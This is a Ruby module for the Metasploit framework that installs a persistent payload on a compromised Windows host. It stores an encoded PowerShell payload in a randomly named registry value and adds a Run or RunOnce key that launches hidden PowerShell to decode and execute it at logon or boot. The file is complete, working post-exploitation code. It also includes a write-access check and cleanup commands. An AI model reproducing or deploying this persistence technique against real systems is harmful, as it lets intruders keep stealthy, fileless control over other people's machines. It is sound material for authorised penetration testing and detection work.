##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::Powershell
  include Msf::Post::Windows::Registry
  include Msf::Post::File
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Deprecated
  moved_from 'exploits/windows/local/registry_persistence'
  moved_from 'exploits/windows/local/persistence'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Registry Only Persistence',
        'Description' => %q{
          This module will install a payload that is executed during boot.
          It will be executed either at user logon or system startup via the registry
          value in "CurrentVersion\Run" or "RunOnce" (depending on privilege and selected method).
          The payload will be installed completely in registry.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Donny Maasland <donny.maasland[at]fox-it.com>', # original module
          'h00die',
        ],
        'Platform' => [ 'win' ],
        'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'Targets' => [
          [ 'Automatic', {} ]
        ],
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
          ['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['URL', 'https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys'],
          ['URL', 'https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/']
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2015-07-01',
        'Notes' => {
          'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptEnum.new('STARTUP',
                  [true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM']]),
      OptString.new('BLOB_REG_KEY',
                    [false, 'The registry key to use for storing the payload blob. (Default: random)' ]),
      OptString.new('BLOB_REG_NAME',
                    [false, 'The name to use for storing the payload blob. (Default: random)' ]),
      OptString.new('RUN_NAME',
                    [false, 'The name to use for the \'Run\' key. (Default: random)' ]),
      OptInt.new('SLEEP_TIME',
                 [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]),
      OptEnum.new('REG_KEY', [true, 'Registry Key To Install To', 'Run', %w[Run RunOnce]]),
    ])
  end

  def generate_payload_blob
    opts = {
      wrap_double_quotes: true,
      encode_final_payload: true
    }
    cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts).split(' ')[-1]
  end

  def generate_cmd(root_path, blob_key_name, blob_key_reg)
    "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
  end

  def generate_blob_reg
    blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}"
    blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8)
    return blob_reg_key, blob_reg_name
  end

  def generate_cmd_reg
    datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)
  end

  def install_blob(root_path, blob, blob_reg_key, blob_reg_name)
    blob_reg_key = "#{root_path}\\#{blob_reg_key}"
    new_key = false
    if !registry_enumkeys(blob_reg_key)
      unless registry_createkey(blob_reg_key)
        fail_with(Failure::Unknown, "Failed to create key #{blob_reg_key}")
      end
      print_good("Created registry key #{blob_reg_key}")
      new_key = true
    end

    unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, 'REG_SZ')
      fail_with(Failure::Unknown, 'Failed to open the registry key for writing')
    end
    print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}")
    return new_key
  end

  def regkey
    datastore['REG_KEY']
  end

  def install_cmd(cmd, cmd_reg, root_path)
    unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}", cmd_reg, cmd, 'REG_EXPAND_SZ')
      fail_with(Failure::Unknown, 'Could not install run key')
    end
    print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{cmd_reg}")
  end

  def get_root_path
    return 'HKCU' if datastore['STARTUP'] == 'USER'

    'HKLM'
  end

  def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
    @clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"
    if new_key
      @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
    end
    @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n"
  end

  def check
    return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft').include?('PowerShell')

    vprint_good('Powershell detected on system')

    # test write to see if we have access
    root_path = get_root_path
    rand = Rex::Text.rand_text_alphanumeric(15)

    vprint_status("Checking registry write access to: #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
    return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}") if registry_createkey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{rand}").nil?

    registry_deletekey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")

    Msf::Exploit::CheckCode::Vulnerable('Registry writable')
  end

  def install_persistence
    print_status('Generating payload blob..')
    blob = generate_payload_blob
    print_good("Generated payload, #{blob.length} bytes")

    root_path = get_root_path
    print_status("Root path is #{root_path}")

    blob_reg_key, blob_reg_name = generate_blob_reg
    cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name)
    cmd_reg = generate_cmd_reg

    print_status('Installing payload blob..')
    new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name)

    print_status('Installing run key')
    install_cmd(cmd, cmd_reg, root_path)

    create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
  end
end
